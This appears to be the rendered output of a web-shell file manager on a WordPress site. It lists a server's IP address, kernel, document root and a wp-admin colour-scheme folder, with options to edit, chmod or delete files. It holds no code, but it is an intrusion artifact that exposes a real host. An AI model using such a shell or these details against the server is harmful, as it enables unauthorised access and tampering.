• Website : innerworth.webedge.org
  • Ip Address : 23.229.84.18
  • Port : 443
  • Kernel : Linux viking.webedge.org 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
  • Protokol : HTTP/1.1
  • Save Data :
  • Koneksi :
  • Server : Apache
  • Root : /home/webedge22/public_html/innerworth.webedge.org
  • G-Interface : CGI/1.1
  • R-Method : GET
  • Browser : Lainnya

: ~ /home/webedge22/public_html/wp-admin/css/colors/


Type Name Size Last Modified Permission options
blue 16 November 2022 03:03:29. drwxr-xr-x
coffee 16 November 2022 03:03:29. drwxr-xr-x
ectoplasm 16 November 2022 03:03:29. drwxr-xr-x
light 16 November 2022 03:03:29. drwxr-xr-x
midnight 16 November 2022 03:03:29. drwxr-xr-x
modern 16 November 2022 03:03:29. drwxr-xr-x
ocean 16 November 2022 03:03:29. drwxr-xr-x
sunrise 16 November 2022 03:03:29. drwxr-xr-x
_admin.scss 20.18 KB 13 November 2024 16:28:40 -rw-r--r--
_mixins.scss 925 B 13 November 2024 16:28:40 -rw-r--r--
_variables.scss 2.47 KB 13 November 2024 16:28:40 -rw-r--r--
: Edit File : rename File : Chmod File : Delete File